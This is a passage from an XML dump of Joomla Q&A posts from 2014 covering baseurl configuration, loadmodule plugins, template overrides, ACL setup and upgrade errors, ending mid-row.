  <row Id="4865" PostTypeId="2" ParentId="4864" CreationDate="2014-10-19T18:38:46.340" Score="1" Body="&lt;p&gt;Best thing I can recommend doing is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ask your client if they have touched any of the Joomla settings or installed any 3rd party extensions. I say this as I know clients can be a pain in the backside sometimes and like to experiment with things they have no experience with.&lt;/li&gt;&#xA;&lt;li&gt;Take a backup of the website using either &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt; or manually downloading a zip of the site and database. Install the backup on a localhost environment such as &lt;a href=&quot;http://www.wampserver.com/en&quot; rel=&quot;nofollow&quot;&gt;Wampserver&lt;/a&gt; and test the speed there. If the site is still slow, then try uninstalling each 3rd party extension 1 by 1. If the site loads at a normal speed, then it will most likely be a hosting related issue.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-19T18:38:46.340" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="4866" PostTypeId="1" AcceptedAnswerId="4867" CreationDate="2014-10-19T19:56:36.013" Score="15" ViewCount="42021" Body="&lt;p&gt;I asked this question on stackoverflow.com first (question &lt;a href=&quot;https://stackoverflow.com/questions/26450703/where-is-this-baseurl-defined-in-joomla&quot;&gt;here&lt;/a&gt;). In the comments you can read that it would be better if I ask that question here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my joomla website I'm using &lt;code&gt;echo $this-&amp;gt;baseurl;&lt;/code&gt; but it returns the url containing &quot;/index.php&quot;. I want to change this to remove &quot;/index.php&quot; from baseurl. But I cannot find the definition line of &lt;code&gt;$this-&amp;gt;baseurl;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://stackoverflow.com/questions/7137080/change-value-of-baseurl-in-joomla&quot;&gt;this thread&lt;/a&gt; but this is based on the template of the question owner and in my template there isn't something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions very appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="2056" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2019-08-25T13:05:18.597" Title="Where is $this-&gt;baseurl defined in joomla?" Tags="|joomla-3.x|joomla-2.5|php|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4867" PostTypeId="2" ParentId="4866" CreationDate="2014-10-19T20:18:58.437" Score="18" Body="&lt;p&gt;&lt;code&gt;$this-&amp;gt;baseurl;&lt;/code&gt; is basically the shortcut for &lt;code&gt;JUri::base()&lt;/code&gt;. It gets the URL you have specified as the &lt;code&gt;live_site&lt;/code&gt; variable in your &lt;em&gt;configuration.php&lt;/em&gt; file. If this has no value, then it will use some PHP magic based on a few variables.&lt;/p&gt;&#xA;&lt;p&gt;So, lets run a few tests. Please report the results back:&lt;/p&gt;&#xA;&lt;h3&gt;Test 1:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  echo 'Rule 1: ' . JUri::base() . '\n';&#xA;  echo 'Rule 2: ' . $_SERVER['PHP_SELF'] . '\n';&#xA;  echo 'Rule 3: ' . $_SERVER['REQUEST_URI'] . '\n';&#xA;  echo 'Rule 4: ' . $_SERVER['SCRIPT_NAME'] . '\n';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Test 2:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    echo JUri::base();&#xA;    echo JUri::base(true);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Test 3:&lt;/h3&gt;&#xA;&lt;p&gt;In the Global Configuration (Joomla backend), try setting &lt;strong&gt;URL rewriting&lt;/strong&gt; to &lt;strong&gt;Yes&lt;/strong&gt;.&#xA;If this does not work then read Steps &lt;strong&gt;1&lt;/strong&gt;, &lt;strong&gt;2&lt;/strong&gt; and &lt;strong&gt;5&lt;/strong&gt; of the &lt;a href=&quot;http://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs#Apache&quot; rel=&quot;noreferrer&quot;&gt;Apache section on this page&lt;/a&gt;, and try again.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Test 4:&lt;/h3&gt;&#xA;&lt;p&gt;At the top of your template's &lt;em&gt;index.php&lt;/em&gt; file, add the following&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $this-&amp;gt;baseurl = JUri::base();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-06-29T13:51:25.947" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4868" PostTypeId="2" ParentId="4866" CreationDate="2014-10-19T20:30:42.253" Score="8" Body="&lt;p&gt;The &lt;code&gt;$this-&amp;gt;baseurl;&lt;/code&gt; is a shortcut to be used from inside a template, instead of calling the &lt;code&gt;JURI:base();&lt;/code&gt; method, of the JURI class. It is part of the core and you can find it at &lt;code&gt;/libraries/joomla/environment/uri.php (~line 218).&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the method, you will see that it checks in the configuration file to see if  the &lt;code&gt;$live_url&lt;/code&gt; variable is defined. If yes it will return this URL, otherwise it will go through a number of other checks and return your actual base URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most probably you have the &lt;strong&gt;live_url&lt;/strong&gt; variable defined in your &lt;strong&gt;&lt;code&gt;configuration.php&lt;/code&gt;&lt;/strong&gt; that includes the &lt;strong&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/strong&gt; at the end. Check there...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is that your current template /template system has somewhere defined the &lt;strong&gt;&lt;code&gt;$this-&amp;gt;baseurl&lt;/code&gt;&lt;/strong&gt; property. You can easily override the &lt;code&gt;$this-&amp;gt;baseurl&lt;/code&gt; inside your template by re-defining it again at the top of the &lt;code&gt;index.php&lt;/code&gt; file of your template, like: &lt;code&gt;$this-&amp;gt;baseurl = JURI::base();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I mentioned where you can find the method, but this does not mean that you should go there and do any modifications to the core. That was only for informational purposes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2 - for future references&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To complete the information given in this post, the &lt;code&gt;JURI::base($pathonly boolean)&lt;/code&gt; takes one argument, the &lt;code&gt;$pathonly&lt;/code&gt; which is a &lt;strong&gt;boolean data type&lt;/strong&gt; - &lt;code&gt;false&lt;/code&gt; is the default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;$pathonly = true&lt;/code&gt;, it will return only the path to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JURI::base(); ?&amp;gt; Would echo something like: http:://localhost/joomla25/&#xA;&amp;lt;?php echo JURI::base(true); ?&amp;gt; Would echo: /joomla25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that when &lt;strong&gt;$pathonly = true&lt;/strong&gt;, the trailing slash at the end of the URI path is ommited.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2019-08-25T13:05:18.597" LastActivityDate="2019-08-25T13:05:18.597" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="4869" PostTypeId="1" AcceptedAnswerId="4872" CreationDate="2014-10-19T23:47:35.023" Score="2" ViewCount="727" Body="&lt;p&gt;I'm currently on Joomla 2.5. I've been hanging out for Joomla 3.4 to be released before migrating, but I can't wait any longer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I be able to remove the weblinks component once I upgrade from Joomla 3.3 to 3.4?&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-10-19T23:56:09.283" LastActivityDate="2015-02-26T10:38:07.693" Title="Can I remove the weblinks component if I upgrade from Joomla 3.3 to 3.4?" Tags="|component|upgrade|weblinks|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4870" PostTypeId="1" CreationDate="2014-10-20T04:50:30.827" Score="6" ViewCount="2800" Body="&lt;p&gt;How can i effectively add a custom parameter for the function &lt;code&gt;{loadmodule mod_name}&lt;/code&gt;. Something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{loadmodule mod_video_player src=&quot;0Bmhjf0rKe8&quot; start=&quot;5&quot; end=&quot;20&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2060" LastActivityDate="2014-10-20T17:22:31.380" Title="Loadmodule with parameters" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4871" PostTypeId="2" ParentId="4870" CreationDate="2014-10-20T05:18:54.910" Score="6" Body="&lt;p&gt;Don't use &lt;code&gt;loadmodule&lt;/code&gt; actually. You have to make your own plugin based on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy the loadmodule plugin from &lt;code&gt;plugins/content/loadmodule&lt;/code&gt; to another folder (probably &lt;code&gt;plugins/content/video_player&lt;/code&gt; based on your question). We will use it as a base, but change how it loads things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then trigger the module with code like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{video_player src=&quot;0Bmhjf0rKe8&quot; start=&quot;5&quot; end=&quot;20&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would then need to adjust the regex (and remove one, since you only have one trigger) to be like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Expression to search for(modules)&#xA;$regexmod   = '/{video_player\s(.*?)}/i';&#xA;$stylemod   = $this-&amp;gt;params-&amp;gt;def('style', 'none');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, you would need to adjust all of the processing (and this part is on you to try) so that it processes the matching string (which will be all your settings) and returns a video player with those settings, like how the current plugin returns the loaded module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either actually load the module and pass it settings or place the code for the video player in the plugin.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-10-20T05:18:54.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4872" PostTypeId="2" ParentId="4869" CreationDate="2014-10-20T07:04:21.247" Score="2" Body="&lt;p&gt;Weblinks component is not a locked extension and can be uninstalled anyway, even in your current J2.5 site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note though, that despite the component is allowed to be uninstalled, doing so can possibly give you minor issues when updating/upgrading Joomla, mostly within the database because of the absence of the relative tables.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-10-20T07:22:13.737" LastActivityDate="2014-10-20T07:22:13.737" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4874" PostTypeId="1" AcceptedAnswerId="4880" CreationDate="2014-10-20T09:32:44.460" Score="2" ViewCount="1617" Body="&lt;p&gt;for single article view I've moved the print/email function up to be inline with the title, instead of being located below the title in top-right corner of the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did this my moving the code under the &quot;&lt;code&gt;&amp;lt;?php if (!$this-&amp;gt;print) : ?&amp;gt;&lt;/code&gt;&quot; up to before the title in the file &lt;code&gt;.../com_content/article/default.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not quite sure how or where to do this for the blog view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The print/email function for the blog view is located in: &lt;code&gt;.../layouts/joomla/content/icons.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this file doesn't define it's location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So which file do I need to modify to move the print/email div?&lt;/p&gt;&#xA;" OwnerUserId="2005" LastEditorUserId="126" LastEditDate="2015-06-05T11:29:00.117" LastActivityDate="2015-06-05T11:29:00.117" Title="How to move print/email to be inline with article title for blog view?" Tags="|joomla-3.x|templates|template-override|com-content|recommended-practices|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4875" PostTypeId="1" CreationDate="2014-10-14T20:17:29.033" Score="1" ViewCount="108" Body="&lt;p&gt;I would like to create an ACL structure like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Company &#xA;Group 1 | Group 2 | Group 3&#xA;Admin Group 1 |  Admin Group 2 | Admin Group 3&#xA;Admin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Company can suggest article, admin can apply, remove etd. Every level has category. &#xA;Company can read article from Group and Company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In group there can be multiple companies ...and current group manage admin group .. I dont fully understand ACL in joomla :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if user is in multiple groups? One group can edit someother cant ... result user cant edit? &lt;/p&gt;&#xA;" OwnerDisplayName="jachu" LastEditorUserId="126" LastEditDate="2015-11-09T23:18:35.790" LastActivityDate="2015-11-09T23:18:35.790" Title="How to set up my custom Joomla ACL structure?" Tags="|joomla-3.x|acl|permissions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4876" PostTypeId="1" CreationDate="2014-10-15T16:44:51.987" Score="3" ViewCount="4090" Body="&lt;p&gt;I finally took on my last upgrade to have all my joomla installs on their current version. so on this last one during the install of the upgrade package. i am now getting a white page and with error reporting turned on, this error from admin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Strict Standards: Only variables should be assigned by reference in /home/tendesig/public_html/manabigama.com/plugins/system/jqueryintegrator/jqueryintegrator.php on line 38&#xA;&#xA;Fatal error: Call to undefined method RuntimeException::get() in /home/tendesig/public_html/manabigama.com/libraries/joomla/error/error.php on line 797&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this from the frontend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Strict Standards: Only variables should be assigned by reference in /home/tendesig/public_html/manabigama.com/plugins/system/jqueryintegrator/jqueryintegrator.php on line 38&#xA;&#xA;Strict Standards: Non-static method JApplicationSite::getMenu() should not be called statically, assuming $this from incompatible context in /home/tendesig/public_html/manabigama.com/plugins/system/jcemediabox/jcemediabox.php on line 251&#xA;&#xA;Strict Standards: Non-static method JApplicationCms::getMenu() should not be called statically, assuming $this from incompatible context in /home/tendesig/public_html/manabigama.com/libraries/cms/application/site.php on line 279&#xA;&#xA;Notice: Use of undefined constant DS - assumed 'DS' in /home/tendesig/public_html/manabigama.com/modules/mod_showplus/mod_showplus.php on line 45&#xA;&#xA;Warning: require_once(/home/tendesig/public_html/manabigama.com/modules/mod_showplusDShelper.php): failed to open stream: No such file or directory in /home/tendesig/public_html/manabigama.com/modules/mod_showplus/mod_showplus.php on line 45&#xA;&#xA;Fatal error: require_once(): Failed opening required '/home/tendesig/public_html/manabigama.com/modules/mod_showplusDShelper.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/tendesig/public_html/manabigama.com/modules/mod_showplus/mod_showplus.php on line 45&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3919" OwnerDisplayName="TEN Design" LastEditorUserId="1629" LastEditDate="2014-10-20T13:39:19.447" LastActivityDate="2014-10-20T13:39:19.447" Title="Error when upgrading from Joomla 2.5 to 3.3" Tags="|joomla-3.x|joomla-2.5|upgrade|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4877" PostTypeId="1" CreationDate="2014-10-17T12:01:56.217" Score="2" ViewCount="365" Body="&lt;p&gt;I have currently a joomla3 install, and I want to overwrite the server-side validation, and the clientside validation of the username (I only want users to be able to sign up with a phonenumber)... How can I overwrite these two things, most easily?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Oh yeah, and what I might have forgotten to mention, is that I am working on a previous joomla1.5 install, we are migrating to joomla3.0, and a lot of bad conventions (like overwriting core files, copying of entire functions, and other code) have been used... I am merely trying to get on with the migration, without having to edit alot of stuff... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am trying to maintain the structure, that the username, is the phonenumber, to not have to change alot of things, that can't be automated&lt;/p&gt;&#xA;" OwnerUserId="5187" OwnerDisplayName="user1898027" LastActivityDate="2014-10-20T10:36:00.620" Title="Joomla 3 overwrite user validation rule" Tags="|php|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4878" PostTypeId="2" ParentId="4877" CreationDate="2014-10-18T02:12:21.200" Score="2" Body="&lt;p&gt;This is precisely what writing a custom &lt;a href=&quot;http://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;Authentication Plugin&lt;/a&gt; is for.  Joomla installs an LDAP example to work from, and writing your own is really quite simple.  I actually cloned the entire com_users component as &quot;com_students&quot; which treated everything just the way I wanted, allowing authentication with Student IDs and phone numbers.  From there, I could use the standard com_users, my com_students, as well as the initial Authentication plugin that I wrote.&lt;/p&gt;&#xA;" OwnerUserId="64" OwnerDisplayName="GDP" LastActivityDate="2014-10-18T02:12:21.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4879" PostTypeId="2" ParentId="4861" CreationDate="2014-10-20T10:49:41.667" Score="4" Body="&lt;p&gt;An alternate solution ,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are developed the module in proper &lt;a href=&quot;http://docs.joomla.org/Creating_a_simple_module&quot; rel=&quot;nofollow&quot;&gt;Joomla structure&lt;/a&gt; then instead of including Core Joomla framework to module file you can use &lt;code&gt;com_ajax&lt;/code&gt; for making &lt;code&gt;ajax&lt;/code&gt; call to module or plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're working with Web services and plan to use it in many sites so simple creates a Joomla module/Plugin and that can be acceed via ajax and installation of this module/plugin is quite simple like any other joomla extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A detailed documentation can be found &lt;a href=&quot;http://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, Also if you are using older version of Joomla there is a component available to achieve the &lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/component&quot; rel=&quot;nofollow&quot;&gt;Ajax interface.&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Ajax feature is inbuilt with J3.2 version and above so below version should use this components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it make sense!&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-10-20T10:49:41.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4880" PostTypeId="2" ParentId="4874" CreationDate="2014-10-20T12:15:15.473" Score="5" Body="&lt;p&gt;The way you did change the view for your article layout is half the way the appropriate. That's because you did a good job finding and editing the correct php file (the template file for the article view), but you didn't follow the recommended practice for modifying core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;h2&gt;A. The proper way: Template Overrides&lt;/h2&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cases like these, Joomla provides a very flexible way to override the core &lt;strong&gt;layouts/view/templates&lt;/strong&gt;. The practice is called &quot;&lt;strong&gt;Template Overrides&lt;/strong&gt;&quot;. It involves duplicating the template file you want to modify, and place it at the corresponding &quot;&lt;strong&gt;view&lt;/strong&gt;&quot; folder, of the &quot;&lt;strong&gt;component&lt;/strong&gt;&quot; folder at the &quot;&lt;strong&gt;html&lt;/strong&gt;&quot; folder inside your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To translate this to a directory path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/&quot;YourTemplate&quot;/html/com_component/viewname/templatefile.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specifically for your article view override, this should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/&quot;YourTemplate&quot;/html/com_content/article/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the html, com_component, viewname folders might not exist and you will have to create them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's regarding the proper way to override a layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;h2&gt;B. Blog Category Layout&lt;/h2&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now regarding the Blog Category layout modifications you want to do, you should think it similarly like the article view you changed. I mean why you went that far away from your first implementation, as the category view is located just a single directory next to the article one in com_content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the &lt;strong&gt;Category Blog Layout&lt;/strong&gt;, you need to edit the &lt;code&gt;/com_content/views/category/tmpl/blog_item.php&lt;/code&gt;. In there you will find the call that renders the print-email icons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remember&lt;/strong&gt;&lt;br&gt;&#xA;...to follow the &lt;strong&gt;Templates Overrides&lt;/strong&gt; technique I described above, which should lead you to create another one folder named &lt;strong&gt;category&lt;/strong&gt; inside the &lt;strong&gt;templates/youtemplate/html/com_content/&lt;/strong&gt;&lt;br&gt;&#xA;and place there your modified template files of the category view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Depending on your template, it's possible that such overrides might already exist inside there.&lt;/li&gt;&#xA;&lt;li&gt;It's possible that you might only have to adjust your css, in order to bring the print/email icons next to the title, and not have to modify the html.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&#xA;More info about template/layout overrides at Joomla Documentation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to override the output from the Joomla! core&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-13T16:21:36.783" LastActivityDate="2014-11-13T16:21:36.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4881" PostTypeId="2" ParentId="4874" CreationDate="2014-10-20T12:15:29.387" Score="2" Body="&lt;p&gt;If you want to override &lt;code&gt;.../layouts/joomla/content/icons.php&lt;/code&gt;, you can copy the file to &lt;code&gt;templates/YOURTEMPLATE/html/layouts/&lt;/code&gt;, and make adjustments to this copy as needed. You'll probably have to play around with some css too, in order to get it right.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-20T12:15:29.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4882" PostTypeId="2" ParentId="4875" CreationDate="2014-10-20T12:31:34.250" Score="3" Body="&lt;p&gt;ACL is an intermediate topic (at least) and if someone needs to create a more complicated ACL configuration, needs to have a solid base of relevant knowledge and past experience. Experience can be gained by working with simpler ACL setups at first, and going to more advanced and complex setups as long as someone understand how things work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not easy to swim directly in the &quot;deep blue sea&quot; of the ACL, if there is not a clear understanding of how it works. &#xA;Simply because the end result not only won't be the expected, but the project might end up in a total mess and a not functioning website at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said you don't fully understand Joomla ACL - This immediately means that you need to read more and experiment more with it. Do not try immediately to accomplish your complex requirements, because most probably it will create frustration to you. Start with a very simple project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in a rush and you need to accomplish a such task for your business, then better hire a professional to do this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's my advise...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More reading / Tutorials about Joomla ACL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://docs.joomla.org/Access_Control_List&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Access_Control_List&lt;/a&gt;&lt;/strong&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Access_Control_List_Tutorial&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-10-20T13:34:48.850" LastActivityDate="2014-10-20T13:34:48.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4883" PostTypeId="2" ParentId="4876" CreationDate="2014-10-20T13:36:40.523" Score="2" Body="&lt;p&gt;According to your error reports, the following plugins/modules are causing problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/jquery-scripts/12995&quot; rel=&quot;nofollow&quot;&gt;jQuery Integrator&lt;/a&gt; (Plugin)  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;According to the &lt;a href=&quot;http://tushev.org/web/joomla-extensions/item/41-jquery-integrator&quot; rel=&quot;nofollow&quot;&gt;developers website&lt;/a&gt;, the plugin is no longer supported. In addition, it's not recommended to activate the plugin for the admin area:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: do not activate jQuery at backend ('activate at backend as&#xA;  well' parameter in advanced tab) unless you're completely sure about&#xA;  what are you doing. jQuery is absolutely unnecessary in adminpanel,&#xA;  and those extensions that use it, bring jQuery with them&#xA;  automatically. &lt;sup&gt;&lt;a href=&quot;http://tushev.org/web/joomla-extensions/item/41-jquery-integrator&quot; rel=&quot;nofollow&quot;&gt;tushev.org&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are other alternatives available here, but for Joomla 3.x, you might not even need a plugin to use jQuery, as it is now the &lt;a href=&quot;http://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;nofollow&quot;&gt;default javascript library&lt;/a&gt; in Joomla. Most extensions will load it if needed, and you also can load jQuery by adding &lt;code&gt;&amp;lt;?php JHtml::_('jquery.framework'); ?&amp;gt;&lt;/code&gt; to your template or extension file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/mediabox&quot; rel=&quot;nofollow&quot;&gt;JCE Media Box&lt;/a&gt; (plugin)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The plugin is probably not updated. Please download the latest version from the link above, and install it.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/photos-a-images/slideshow/image-mootools-slideshow/15727&quot; rel=&quot;nofollow&quot;&gt;showplus&lt;/a&gt; (module)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This slideshow module reports several errors. Downloading and installing the latest Joomla 3-compatible version will probably solve your problems.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(In order to hide the Strict Standards errors, you can go to Global Configuration &amp;#8594; Server tab &amp;#8594; Error Reporting and set it to &lt;code&gt;None&lt;/code&gt;. This will probably not get rid of the Fatal error, though, and doesn't actually solve anything.)&lt;/p&gt;&#xA;" OwnerUserId="1629" 